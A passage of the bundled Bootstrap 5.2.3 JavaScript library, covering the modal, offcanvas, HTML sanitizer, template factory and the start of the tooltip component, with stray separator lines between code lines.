const EVENT_SHOWN$4 = `shown${EVENT_KEY$4}`;
|
|
const EVENT_RESIZE$1 = `resize${EVENT_KEY$4}`;
|
|
const EVENT_CLICK_DISMISS = `click.dismiss${EVENT_KEY$4}`;
|
|
const EVENT_MOUSEDOWN_DISMISS = `mousedown.dismiss${EVENT_KEY$4}`;
|
|
const EVENT_KEYDOWN_DISMISS$1 = `keydown.dismiss${EVENT_KEY$4}`;
|
|
const EVENT_CLICK_DATA_API$2 = `click${EVENT_KEY$4}${DATA_API_KEY$2}`;
|
|
const CLASS_NAME_OPEN = 'modal-open';
|
|
const CLASS_NAME_FADE$3 = 'fade';
|
|
const CLASS_NAME_SHOW$4 = 'show';
|
|
const CLASS_NAME_STATIC = 'modal-static';
|
|
const OPEN_SELECTOR$1 = '.modal.show';
|
|
const SELECTOR_DIALOG = '.modal-dialog';
|
|
const SELECTOR_MODAL_BODY = '.modal-body';
|
|
const SELECTOR_DATA_TOGGLE$2 = '[data-bs-toggle="modal"]';
|
|
const Default$6 = {
|
|
backdrop: true,
|
|
focus: true,
|
|
keyboard: true
|
|
};
|
|
const DefaultType$6 = {
|
|
backdrop: '(boolean|string)',
|
|
focus: 'boolean',
|
|
keyboard: 'boolean'
|
|
};
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class Modal extends BaseComponent {
|
|
constructor(element, config) {
|
|
super(element, config);
|
|
this._dialog = SelectorEngine.findOne(SELECTOR_DIALOG, this._element);
|
|
this._backdrop = this._initializeBackDrop();
|
|
this._focustrap = this._initializeFocusTrap();
|
|
this._isShown = false;
|
|
this._isTransitioning = false;
|
|
this._scrollBar = new ScrollBarHelper();
|
|
|
|
this._addEventListeners();
|
|
} // Getters
|
|
|
|
|
|
static get Default() {
|
|
return Default$6;
|
|
}
|
|
|
|
static get DefaultType() {
|
|
return DefaultType$6;
|
|
}
|
|
|
|
static get NAME() {
|
|
return NAME$7;
|
|
} // Public
|
|
|
|
|
|
toggle(relatedTarget) {
|
|
return this._isShown ? this.hide() : this.show(relatedTarget);
|
|
}
|
|
|
|
show(relatedTarget) {
|
|
if (this._isShown || this._isTransitioning) {
|
|
return;
|
|
}
|
|
|
|
const showEvent = EventHandler.trigger(this._element, EVENT_SHOW$4, {
|
|
relatedTarget
|
|
});
|
|
|
|
if (showEvent.defaultPrevented) {
|
|
return;
|
|
}
|
|
|
|
this._isShown = true;
|
|
this._isTransitioning = true;
|
|
|
|
this._scrollBar.hide();
|
|
|
|
document.body.classList.add(CLASS_NAME_OPEN);
|
|
|
|
this._adjustDialog();
|
|
|
|
this._backdrop.show(() => this._showElement(relatedTarget));
|
|
}
|
|
|
|
hide() {
|
|
if (!this._isShown || this._isTransitioning) {
|
|
return;
|
|
}
|
|
|
|
const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE$4);
|
|
|
|
if (hideEvent.defaultPrevented) {
|
|
return;
|
|
}
|
|
|
|
this._isShown = false;
|
|
this._isTransitioning = true;
|
|
|
|
this._focustrap.deactivate();
|
|
|
|
this._element.classList.remove(CLASS_NAME_SHOW$4);
|
|
|
|
this._queueCallback(() => this._hideModal(), this._element, this._isAnimated());
|
|
}
|
|
|
|
dispose() {
|
|
for (const htmlElement of [window, this._dialog]) {
|
|
EventHandler.off(htmlElement, EVENT_KEY$4);
|
|
}
|
|
|
|
this._backdrop.dispose();
|
|
|
|
this._focustrap.deactivate();
|
|
|
|
super.dispose();
|
|
}
|
|
|
|
handleUpdate() {
|
|
this._adjustDialog();
|
|
} // Private
|
|
|
|
|
|
_initializeBackDrop() {
|
|
return new Backdrop({
|
|
isVisible: Boolean(this._config.backdrop),
|
|
// 'static' option will be translated to true, and booleans will keep their value,
|
|
isAnimated: this._isAnimated()
|
|
});
|
|
}
|
|
|
|
_initializeFocusTrap() {
|
|
return new FocusTrap({
|
|
trapElement: this._element
|
|
});
|
|
}
|
|
|
|
_showElement(relatedTarget) {
|
|
// try to append dynamic modal
|
|
if (!document.body.contains(this._element)) {
|
|
document.body.append(this._element);
|
|
}
|
|
|
|
this._element.style.display = 'block';
|
|
|
|
this._element.removeAttribute('aria-hidden');
|
|
|
|
this._element.setAttribute('aria-modal', true);
|
|
|
|
this._element.setAttribute('role', 'dialog');
|
|
|
|
this._element.scrollTop = 0;
|
|
const modalBody = SelectorEngine.findOne(SELECTOR_MODAL_BODY, this._dialog);
|
|
|
|
if (modalBody) {
|
|
modalBody.scrollTop = 0;
|
|
}
|
|
|
|
reflow(this._element);
|
|
|
|
this._element.classList.add(CLASS_NAME_SHOW$4);
|
|
|
|
const transitionComplete = () => {
|
|
if (this._config.focus) {
|
|
this._focustrap.activate();
|
|
}
|
|
|
|
this._isTransitioning = false;
|
|
EventHandler.trigger(this._element, EVENT_SHOWN$4, {
|
|
relatedTarget
|
|
});
|
|
};
|
|
|
|
this._queueCallback(transitionComplete, this._dialog, this._isAnimated());
|
|
}
|
|
|
|
_addEventListeners() {
|
|
EventHandler.on(this._element, EVENT_KEYDOWN_DISMISS$1, event => {
|
|
if (event.key !== ESCAPE_KEY$1) {
|
|
return;
|
|
}
|
|
|
|
if (this._config.keyboard) {
|
|
event.preventDefault();
|
|
this.hide();
|
|
return;
|
|
}
|
|
|
|
this._triggerBackdropTransition();
|
|
});
|
|
EventHandler.on(window, EVENT_RESIZE$1, () => {
|
|
if (this._isShown && !this._isTransitioning) {
|
|
this._adjustDialog();
|
|
}
|
|
});
|
|
EventHandler.on(this._element, EVENT_MOUSEDOWN_DISMISS, event => {
|
|
// a bad trick to segregate clicks that may start inside dialog but end outside, and avoid listen to scrollbar clicks
|
|
EventHandler.one(this._element, EVENT_CLICK_DISMISS, event2 => {
|
|
if (this._element !== event.target || this._element !== event2.target) {
|
|
return;
|
|
}
|
|
|
|
if (this._config.backdrop === 'static') {
|
|
this._triggerBackdropTransition();
|
|
|
|
return;
|
|
}
|
|
|
|
if (this._config.backdrop) {
|
|
this.hide();
|
|
}
|
|
});
|
|
});
|
|
}
|
|
|
|
_hideModal() {
|
|
this._element.style.display = 'none';
|
|
|
|
this._element.setAttribute('aria-hidden', true);
|
|
|
|
this._element.removeAttribute('aria-modal');
|
|
|
|
this._element.removeAttribute('role');
|
|
|
|
this._isTransitioning = false;
|
|
|
|
this._backdrop.hide(() => {
|
|
document.body.classList.remove(CLASS_NAME_OPEN);
|
|
|
|
this._resetAdjustments();
|
|
|
|
this._scrollBar.reset();
|
|
|
|
EventHandler.trigger(this._element, EVENT_HIDDEN$4);
|
|
});
|
|
}
|
|
|
|
_isAnimated() {
|
|
return this._element.classList.contains(CLASS_NAME_FADE$3);
|
|
}
|
|
|
|
_triggerBackdropTransition() {
|
|
const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE_PREVENTED$1);
|
|
|
|
if (hideEvent.defaultPrevented) {
|
|
return;
|
|
}
|
|
|
|
const isModalOverflowing = this._element.scrollHeight > document.documentElement.clientHeight;
|
|
const initialOverflowY = this._element.style.overflowY; // return if the following background transition hasn't yet completed
|
|
|
|
if (initialOverflowY === 'hidden' || this._element.classList.contains(CLASS_NAME_STATIC)) {
|
|
return;
|
|
}
|
|
|
|
if (!isModalOverflowing) {
|
|
this._element.style.overflowY = 'hidden';
|
|
}
|
|
|
|
this._element.classList.add(CLASS_NAME_STATIC);
|
|
|
|
this._queueCallback(() => {
|
|
this._element.classList.remove(CLASS_NAME_STATIC);
|
|
|
|
this._queueCallback(() => {
|
|
this._element.style.overflowY = initialOverflowY;
|
|
}, this._dialog);
|
|
}, this._dialog);
|
|
|
|
this._element.focus();
|
|
}
|
|
/**
|
|
* The following methods are used to handle overflowing modals
|
|
*/
|
|
|
|
|
|
_adjustDialog() {
|
|
const isModalOverflowing = this._element.scrollHeight > document.documentElement.clientHeight;
|
|
|
|
const scrollbarWidth = this._scrollBar.getWidth();
|
|
|
|
const isBodyOverflowing = scrollbarWidth > 0;
|
|
|
|
if (isBodyOverflowing && !isModalOverflowing) {
|
|
const property = isRTL() ? 'paddingLeft' : 'paddingRight';
|
|
this._element.style[property] = `${scrollbarWidth}px`;
|
|
}
|
|
|
|
if (!isBodyOverflowing && isModalOverflowing) {
|
|
const property = isRTL() ? 'paddingRight' : 'paddingLeft';
|
|
this._element.style[property] = `${scrollbarWidth}px`;
|
|
}
|
|
}
|
|
|
|
_resetAdjustments() {
|
|
this._element.style.paddingLeft = '';
|
|
this._element.style.paddingRight = '';
|
|
} // Static
|
|
|
|
|
|
static jQueryInterface(config, relatedTarget) {
|
|
return this.each(function () {
|
|
const data = Modal.getOrCreateInstance(this, config);
|
|
|
|
if (typeof config !== 'string') {
|
|
return;
|
|
}
|
|
|
|
if (typeof data[config] === 'undefined') {
|
|
throw new TypeError(`No method named "${config}"`);
|
|
}
|
|
|
|
data[config](relatedTarget);
|
|
});
|
|
}
|
|
|
|
}
|
|
/**
|
|
* Data API implementation
|
|
*/
|
|
|
|
|
|
EventHandler.on(document, EVENT_CLICK_DATA_API$2, SELECTOR_DATA_TOGGLE$2, function (event) {
|
|
const target = getElementFromSelector(this);
|
|
|
|
if (['A', 'AREA'].includes(this.tagName)) {
|
|
event.preventDefault();
|
|
}
|
|
|
|
EventHandler.one(target, EVENT_SHOW$4, showEvent => {
|
|
if (showEvent.defaultPrevented) {
|
|
// only register focus restorer if modal will actually get shown
|
|
return;
|
|
}
|
|
|
|
EventHandler.one(target, EVENT_HIDDEN$4, () => {
|
|
if (isVisible(this)) {
|
|
this.focus();
|
|
}
|
|
});
|
|
}); // avoid conflict when clicking modal toggler while another one is open
|
|
|
|
const alreadyOpen = SelectorEngine.findOne(OPEN_SELECTOR$1);
|
|
|
|
if (alreadyOpen) {
|
|
Modal.getInstance(alreadyOpen).hide();
|
|
}
|
|
|
|
const data = Modal.getOrCreateInstance(target);
|
|
data.toggle(this);
|
|
});
|
|
enableDismissTrigger(Modal);
|
|
/**
|
|
* jQuery
|
|
*/
|
|
|
|
defineJQueryPlugin(Modal);
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): offcanvas.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const NAME$6 = 'offcanvas';
|
|
const DATA_KEY$3 = 'bs.offcanvas';
|
|
const EVENT_KEY$3 = `.${DATA_KEY$3}`;
|
|
const DATA_API_KEY$1 = '.data-api';
|
|
const EVENT_LOAD_DATA_API$2 = `load${EVENT_KEY$3}${DATA_API_KEY$1}`;
|
|
const ESCAPE_KEY = 'Escape';
|
|
const CLASS_NAME_SHOW$3 = 'show';
|
|
const CLASS_NAME_SHOWING$1 = 'showing';
|
|
const CLASS_NAME_HIDING = 'hiding';
|
|
const CLASS_NAME_BACKDROP = 'offcanvas-backdrop';
|
|
const OPEN_SELECTOR = '.offcanvas.show';
|
|
const EVENT_SHOW$3 = `show${EVENT_KEY$3}`;
|
|
const EVENT_SHOWN$3 = `shown${EVENT_KEY$3}`;
|
|
const EVENT_HIDE$3 = `hide${EVENT_KEY$3}`;
|
|
const EVENT_HIDE_PREVENTED = `hidePrevented${EVENT_KEY$3}`;
|
|
const EVENT_HIDDEN$3 = `hidden${EVENT_KEY$3}`;
|
|
const EVENT_RESIZE = `resize${EVENT_KEY$3}`;
|
|
const EVENT_CLICK_DATA_API$1 = `click${EVENT_KEY$3}${DATA_API_KEY$1}`;
|
|
const EVENT_KEYDOWN_DISMISS = `keydown.dismiss${EVENT_KEY$3}`;
|
|
const SELECTOR_DATA_TOGGLE$1 = '[data-bs-toggle="offcanvas"]';
|
|
const Default$5 = {
|
|
backdrop: true,
|
|
keyboard: true,
|
|
scroll: false
|
|
};
|
|
const DefaultType$5 = {
|
|
backdrop: '(boolean|string)',
|
|
keyboard: 'boolean',
|
|
scroll: 'boolean'
|
|
};
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class Offcanvas extends BaseComponent {
|
|
constructor(element, config) {
|
|
super(element, config);
|
|
this._isShown = false;
|
|
this._backdrop = this._initializeBackDrop();
|
|
this._focustrap = this._initializeFocusTrap();
|
|
|
|
this._addEventListeners();
|
|
} // Getters
|
|
|
|
|
|
static get Default() {
|
|
return Default$5;
|
|
}
|
|
|
|
static get DefaultType() {
|
|
return DefaultType$5;
|
|
}
|
|
|
|
static get NAME() {
|
|
return NAME$6;
|
|
} // Public
|
|
|
|
|
|
toggle(relatedTarget) {
|
|
return this._isShown ? this.hide() : this.show(relatedTarget);
|
|
}
|
|
|
|
show(relatedTarget) {
|
|
if (this._isShown) {
|
|
return;
|
|
}
|
|
|
|
const showEvent = EventHandler.trigger(this._element, EVENT_SHOW$3, {
|
|
relatedTarget
|
|
});
|
|
|
|
if (showEvent.defaultPrevented) {
|
|
return;
|
|
}
|
|
|
|
this._isShown = true;
|
|
|
|
this._backdrop.show();
|
|
|
|
if (!this._config.scroll) {
|
|
new ScrollBarHelper().hide();
|
|
}
|
|
|
|
this._element.setAttribute('aria-modal', true);
|
|
|
|
this._element.setAttribute('role', 'dialog');
|
|
|
|
this._element.classList.add(CLASS_NAME_SHOWING$1);
|
|
|
|
const completeCallBack = () => {
|
|
if (!this._config.scroll || this._config.backdrop) {
|
|
this._focustrap.activate();
|
|
}
|
|
|
|
this._element.classList.add(CLASS_NAME_SHOW$3);
|
|
|
|
this._element.classList.remove(CLASS_NAME_SHOWING$1);
|
|
|
|
EventHandler.trigger(this._element, EVENT_SHOWN$3, {
|
|
relatedTarget
|
|
});
|
|
};
|
|
|
|
this._queueCallback(completeCallBack, this._element, true);
|
|
}
|
|
|
|
hide() {
|
|
if (!this._isShown) {
|
|
return;
|
|
}
|
|
|
|
const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE$3);
|
|
|
|
if (hideEvent.defaultPrevented) {
|
|
return;
|
|
}
|
|
|
|
this._focustrap.deactivate();
|
|
|
|
this._element.blur();
|
|
|
|
this._isShown = false;
|
|
|
|
this._element.classList.add(CLASS_NAME_HIDING);
|
|
|
|
this._backdrop.hide();
|
|
|
|
const completeCallback = () => {
|
|
this._element.classList.remove(CLASS_NAME_SHOW$3, CLASS_NAME_HIDING);
|
|
|
|
this._element.removeAttribute('aria-modal');
|
|
|
|
this._element.removeAttribute('role');
|
|
|
|
if (!this._config.scroll) {
|
|
new ScrollBarHelper().reset();
|
|
}
|
|
|
|
EventHandler.trigger(this._element, EVENT_HIDDEN$3);
|
|
};
|
|
|
|
this._queueCallback(completeCallback, this._element, true);
|
|
}
|
|
|
|
dispose() {
|
|
this._backdrop.dispose();
|
|
|
|
this._focustrap.deactivate();
|
|
|
|
super.dispose();
|
|
} // Private
|
|
|
|
|
|
_initializeBackDrop() {
|
|
const clickCallback = () => {
|
|
if (this._config.backdrop === 'static') {
|
|
EventHandler.trigger(this._element, EVENT_HIDE_PREVENTED);
|
|
return;
|
|
}
|
|
|
|
this.hide();
|
|
}; // 'static' option will be translated to true, and booleans will keep their value
|
|
|
|
|
|
const isVisible = Boolean(this._config.backdrop);
|
|
return new Backdrop({
|
|
className: CLASS_NAME_BACKDROP,
|
|
isVisible,
|
|
isAnimated: true,
|
|
rootElement: this._element.parentNode,
|
|
clickCallback: isVisible ? clickCallback : null
|
|
});
|
|
}
|
|
|
|
_initializeFocusTrap() {
|
|
return new FocusTrap({
|
|
trapElement: this._element
|
|
});
|
|
}
|
|
|
|
_addEventListeners() {
|
|
EventHandler.on(this._element, EVENT_KEYDOWN_DISMISS, event => {
|
|
if (event.key !== ESCAPE_KEY) {
|
|
return;
|
|
}
|
|
|
|
if (!this._config.keyboard) {
|
|
EventHandler.trigger(this._element, EVENT_HIDE_PREVENTED);
|
|
return;
|
|
}
|
|
|
|
this.hide();
|
|
});
|
|
} // Static
|
|
|
|
|
|
static jQueryInterface(config) {
|
|
return this.each(function () {
|
|
const data = Offcanvas.getOrCreateInstance(this, config);
|
|
|
|
if (typeof config !== 'string') {
|
|
return;
|
|
}
|
|
|
|
if (data[config] === undefined || config.startsWith('_') || config === 'constructor') {
|
|
throw new TypeError(`No method named "${config}"`);
|
|
}
|
|
|
|
data[config](this);
|
|
});
|
|
}
|
|
|
|
}
|
|
/**
|
|
* Data API implementation
|
|
*/
|
|
|
|
|
|
EventHandler.on(document, EVENT_CLICK_DATA_API$1, SELECTOR_DATA_TOGGLE$1, function (event) {
|
|
const target = getElementFromSelector(this);
|
|
|
|
if (['A', 'AREA'].includes(this.tagName)) {
|
|
event.preventDefault();
|
|
}
|
|
|
|
if (isDisabled(this)) {
|
|
return;
|
|
}
|
|
|
|
EventHandler.one(target, EVENT_HIDDEN$3, () => {
|
|
// focus on trigger when it is closed
|
|
if (isVisible(this)) {
|
|
this.focus();
|
|
}
|
|
}); // avoid conflict when clicking a toggler of an offcanvas, while another is open
|
|
|
|
const alreadyOpen = SelectorEngine.findOne(OPEN_SELECTOR);
|
|
|
|
if (alreadyOpen && alreadyOpen !== target) {
|
|
Offcanvas.getInstance(alreadyOpen).hide();
|
|
}
|
|
|
|
const data = Offcanvas.getOrCreateInstance(target);
|
|
data.toggle(this);
|
|
});
|
|
EventHandler.on(window, EVENT_LOAD_DATA_API$2, () => {
|
|
for (const selector of SelectorEngine.find(OPEN_SELECTOR)) {
|
|
Offcanvas.getOrCreateInstance(selector).show();
|
|
}
|
|
});
|
|
EventHandler.on(window, EVENT_RESIZE, () => {
|
|
for (const element of SelectorEngine.find('[aria-modal][class*=show][class*=offcanvas-]')) {
|
|
if (getComputedStyle(element).position !== 'fixed') {
|
|
Offcanvas.getOrCreateInstance(element).hide();
|
|
}
|
|
}
|
|
});
|
|
enableDismissTrigger(Offcanvas);
|
|
/**
|
|
* jQuery
|
|
*/
|
|
|
|
defineJQueryPlugin(Offcanvas);
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): util/sanitizer.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
const uriAttributes = new Set(['background', 'cite', 'href', 'itemtype', 'longdesc', 'poster', 'src', 'xlink:href']);
|
|
const ARIA_ATTRIBUTE_PATTERN = /^aria-[\w-]*$/i;
|
|
/**
|
|
* A pattern that recognizes a commonly useful subset of URLs that are safe.
|
|
*
|
|
* Shout-out to Angular https://github.com/angular/angular/blob/12.2.x/packages/core/src/sanitization/url_sanitizer.ts
|
|
*/
|
|
|
|
const SAFE_URL_PATTERN = /^(?:(?:https?|mailto|ftp|tel|file|sms):|[^#&/:?]*(?:[#/?]|$))/i;
|
|
/**
|
|
* A pattern that matches safe data URLs. Only matches image, video and audio types.
|
|
*
|
|
* Shout-out to Angular https://github.com/angular/angular/blob/12.2.x/packages/core/src/sanitization/url_sanitizer.ts
|
|
*/
|
|
|
|
const DATA_URL_PATTERN = /^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[\d+/a-z]+=*$/i;
|
|
|
|
const allowedAttribute = (attribute, allowedAttributeList) => {
|
|
const attributeName = attribute.nodeName.toLowerCase();
|
|
|
|
if (allowedAttributeList.includes(attributeName)) {
|
|
if (uriAttributes.has(attributeName)) {
|
|
return Boolean(SAFE_URL_PATTERN.test(attribute.nodeValue) || DATA_URL_PATTERN.test(attribute.nodeValue));
|
|
}
|
|
|
|
return true;
|
|
} // Check if a regular expression validates the attribute.
|
|
|
|
|
|
return allowedAttributeList.filter(attributeRegex => attributeRegex instanceof RegExp).some(regex => regex.test(attributeName));
|
|
};
|
|
|
|
const DefaultAllowlist = {
|
|
// Global attributes allowed on any supplied element below.
|
|
'*': ['class', 'dir', 'id', 'lang', 'role', ARIA_ATTRIBUTE_PATTERN],
|
|
a: ['target', 'href', 'title', 'rel'],
|
|
area: [],
|
|
b: [],
|
|
br: [],
|
|
col: [],
|
|
code: [],
|
|
div: [],
|
|
em: [],
|
|
hr: [],
|
|
h1: [],
|
|
h2: [],
|
|
h3: [],
|
|
h4: [],
|
|
h5: [],
|
|
h6: [],
|
|
i: [],
|
|
img: ['src', 'srcset', 'alt', 'title', 'width', 'height'],
|
|
li: [],
|
|
ol: [],
|
|
p: [],
|
|
pre: [],
|
|
s: [],
|
|
small: [],
|
|
span: [],
|
|
sub: [],
|
|
sup: [],
|
|
strong: [],
|
|
u: [],
|
|
ul: []
|
|
};
|
|
function sanitizeHtml(unsafeHtml, allowList, sanitizeFunction) {
|
|
if (!unsafeHtml.length) {
|
|
return unsafeHtml;
|
|
}
|
|
|
|
if (sanitizeFunction && typeof sanitizeFunction === 'function') {
|
|
return sanitizeFunction(unsafeHtml);
|
|
}
|
|
|
|
const domParser = new window.DOMParser();
|
|
const createdDocument = domParser.parseFromString(unsafeHtml, 'text/html');
|
|
const elements = [].concat(...createdDocument.body.querySelectorAll('*'));
|
|
|
|
for (const element of elements) {
|
|
const elementName = element.nodeName.toLowerCase();
|
|
|
|
if (!Object.keys(allowList).includes(elementName)) {
|
|
element.remove();
|
|
continue;
|
|
}
|
|
|
|
const attributeList = [].concat(...element.attributes);
|
|
const allowedAttributes = [].concat(allowList['*'] || [], allowList[elementName] || []);
|
|
|
|
for (const attribute of attributeList) {
|
|
if (!allowedAttribute(attribute, allowedAttributes)) {
|
|
element.removeAttribute(attribute.nodeName);
|
|
}
|
|
}
|
|
}
|
|
|
|
return createdDocument.body.innerHTML;
|
|
}
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): util/template-factory.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const NAME$5 = 'TemplateFactory';
|
|
const Default$4 = {
|
|
allowList: DefaultAllowlist,
|
|
content: {},
|
|
// { selector : text , selector2 : text2 , }
|
|
extraClass: '',
|
|
html: false,
|
|
sanitize: true,
|
|
sanitizeFn: null,
|
|
template: '<div></div>'
|
|
};
|
|
const DefaultType$4 = {
|
|
allowList: 'object',
|
|
content: 'object',
|
|
extraClass: '(string|function)',
|
|
html: 'boolean',
|
|
sanitize: 'boolean',
|
|
sanitizeFn: '(null|function)',
|
|
template: 'string'
|
|
};
|
|
const DefaultContentType = {
|
|
entry: '(string|element|function|null)',
|
|
selector: '(string|element)'
|
|
};
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class TemplateFactory extends Config {
|
|
constructor(config) {
|
|
super();
|
|
this._config = this._getConfig(config);
|
|
} // Getters
|
|
|
|
|
|
static get Default() {
|
|
return Default$4;
|
|
}
|
|
|
|
static get DefaultType() {
|
|
return DefaultType$4;
|
|
}
|
|
|
|
static get NAME() {
|
|
return NAME$5;
|
|
} // Public
|
|
|
|
|
|
getContent() {
|
|
return Object.values(this._config.content).map(config => this._resolvePossibleFunction(config)).filter(Boolean);
|
|
}
|
|
|
|
hasContent() {
|
|
return this.getContent().length > 0;
|
|
}
|
|
|
|
changeContent(content) {
|
|
this._checkContent(content);
|
|
|
|
this._config.content = { ...this._config.content,
|
|
...content
|
|
};
|
|
return this;
|
|
}
|
|
|
|
toHtml() {
|
|
const templateWrapper = document.createElement('div');
|
|
templateWrapper.innerHTML = this._maybeSanitize(this._config.template);
|
|
|
|
for (const [selector, text] of Object.entries(this._config.content)) {
|
|
this._setContent(templateWrapper, text, selector);
|
|
}
|
|
|
|
const template = templateWrapper.children[0];
|
|
|
|
const extraClass = this._resolvePossibleFunction(this._config.extraClass);
|
|
|
|
if (extraClass) {
|
|
template.classList.add(...extraClass.split(' '));
|
|
}
|
|
|
|
return template;
|
|
} // Private
|
|
|
|
|
|
_typeCheckConfig(config) {
|
|
super._typeCheckConfig(config);
|
|
|
|
this._checkContent(config.content);
|
|
}
|
|
|
|
_checkContent(arg) {
|
|
for (const [selector, content] of Object.entries(arg)) {
|
|
super._typeCheckConfig({
|
|
selector,
|
|
entry: content
|
|
}, DefaultContentType);
|
|
}
|
|
}
|
|
|
|
_setContent(template, content, selector) {
|
|
const templateElement = SelectorEngine.findOne(selector, template);
|
|
|
|
if (!templateElement) {
|
|
return;
|
|
}
|
|
|
|
content = this._resolvePossibleFunction(content);
|
|
|
|
if (!content) {
|
|
templateElement.remove();
|
|
return;
|
|
}
|
|
|
|
if (isElement(content)) {
|
|
this._putElementInTemplate(getElement(content), templateElement);
|
|
|
|
return;
|
|
}
|
|
|
|
if (this._config.html) {
|
|
templateElement.innerHTML = this._maybeSanitize(content);
|
|
return;
|
|
}
|
|
|
|
templateElement.textContent = content;
|
|
}
|
|
|
|
_maybeSanitize(arg) {
|
|
return this._config.sanitize ? sanitizeHtml(arg, this._config.allowList, this._config.sanitizeFn) : arg;
|
|
}
|
|
|
|
_resolvePossibleFunction(arg) {
|
|
return typeof arg === 'function' ? arg(this) : arg;
|
|
}
|
|
|
|
_putElementInTemplate(element, templateElement) {
|
|
if (this._config.html) {
|
|
templateElement.innerHTML = '';
|
|
templateElement.append(element);
|
|
return;
|
|
}
|
|
|
|
templateElement.textContent = element.textContent;
|
|
}
|
|
|
|
}
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): tooltip.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const NAME$4 = 'tooltip';
|
|
const DISALLOWED_ATTRIBUTES = new Set(['sanitize', 'allowList', 'sanitizeFn']);
|
|
const CLASS_NAME_FADE$2 = 'fade';
|
|
const CLASS_NAME_MODAL = 'modal';
|
|
const CLASS_NAME_SHOW$2 = 'show';
|
|
const SELECTOR_TOOLTIP_INNER = '.tooltip-inner';
|
|
const SELECTOR_MODAL = `.${CLASS_NAME_MODAL}`;
|
|
const EVENT_MODAL_HIDE = 'hide.bs.modal';
|
|
const TRIGGER_HOVER = 'hover';
|
|
const TRIGGER_FOCUS = 'focus';
|
|
const TRIGGER_CLICK = 'click';
|
|
const TRIGGER_MANUAL = 'manual';
|
|
const EVENT_HIDE$2 = 'hide';
|
|
const EVENT_HIDDEN$2 = 'hidden';
|
|
const EVENT_SHOW$2 = 'show';
|
|
const EVENT_SHOWN$2 = 'shown';
|
|
const EVENT_INSERTED = 'inserted';
|
|
const EVENT_CLICK$1 = 'click';
|
|
const EVENT_FOCUSIN$1 = 'focusin';
|
|
const EVENT_FOCUSOUT$1 = 'focusout';
|
|
const EVENT_MOUSEENTER = 'mouseenter';
|
|
const EVENT_MOUSELEAVE = 'mouseleave';
|
|
const AttachmentMap = {
|
|
AUTO: 'auto',
|
|
TOP: 'top',
|
|
RIGHT: isRTL() ? 'left' : 'right',
|
|
BOTTOM: 'bottom',
|
|
LEFT: isRTL() ? 'right' : 'left'
|
|
};
|
|
const Default$3 = {
|
|
allowList: DefaultAllowlist,
|
|
animation: true,
|
|
boundary: 'clippingParents',
|
|
container: false,
|
|
customClass: '',
|
|
delay: 0,
|
|
fallbackPlacements: ['top', 'right', 'bottom', 'left'],
|
|
html: false,
|
|
offset: [0, 0],
|
|
placement: 'top',
|
|
popperConfig: null,
|
|
sanitize: true,
|
|
sanitizeFn: null,
|
|
selector: false,
|
|
template: '<div class="tooltip" role="tooltip">' + '<div class="tooltip-arrow"></div>' + '<div class="tooltip-inner"></div>' + '</div>',
|
|
title: '',
|
|
trigger: 'hover focus'
|
|
};
|
|
const DefaultType$3 = {
|
|
allowList: 'object',
|
|
animation: 'boolean',
|
|
boundary: '(string|element)',
|
|
container: '(string|element|boolean)',
|
|
customClass: '(string|function)',
|
|
delay: '(number|object)',
|
|
fallbackPlacements: 'array',
|
|
html: 'boolean',
|
|
offset: '(array|string|function)',
|
|
placement: '(string|function)',
|
|
popperConfig: '(null|object|function)',
|
|
sanitize: 'boolean',
|
|
sanitizeFn: '(null|function)',
|
|
selector: '(string|boolean)',
|
|
template: 'string',
|
|
title: '(string|element|function)',
|
|
trigger: 'string'
|
|
};
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class Tooltip extends BaseComponent {
|
|
constructor(element, config) {
|
|
if (typeof Popper__namespace === 'undefined') {
|
|
throw new TypeError('Bootstrap\'s tooltips require Popper (https://popper.js.org)');
|
|
}
|
|
|
|
super(element, config); // Private
|
|
|
|
this._isEnabled = true;
|
|
this._timeout = 0;
|
|
this._isHovered = null;
|
|
this._activeTrigger = {};
|
|
this._popper = null;
|
|
this._templateFactory = null;
|
|
this._newContent = null; // Protected
|
|
|
|
this.tip = null;
|
|
|
|
this._setListeners();
|
|
|
|
if (!this._config.selector) {
|
|
this._fixTitle();
|
|
}
|
|
} // Getters
|
|
|
|
|
|
static get Default() {
|
|
return Default$3;
|
|
}
|
|
|
|
static get DefaultType() {
|
|
return DefaultType$3;
|
|
}
|
|
|
|
static get NAME() {
|
|
return NAME$4;
|
|
} // Public
|
|
|
|
|
|
enable() {
|
|
this._isEnabled = true;
|
|
}
|
|
|
|
disable() {
|
|
this._isEnabled = false;
|
|
}
|
|
|
|
toggleEnabled() {
|
|
this._isEnabled = !this._isEnabled;
|
|
}
|
|
|
|
toggle() {
|
|
if (!this._isEnabled) {
|
|
return;
|
|
}
|
|
|
|
this._activeTrigger.click = !this._activeTrigger.click;
|
|
|
|
if (this._isShown()) {
|
|
this._leave();
|
|
|
|
return;
|
|
}
|
|
|
|
this._enter();
|
|
}
|
|
|
|
dispose() {
|
|
clearTimeout(this._timeout);
|
|
EventHandler.off(this._element.closest(SELECTOR_MODAL), EVENT_MODAL_HIDE, this._hideModalHandler);
|
|
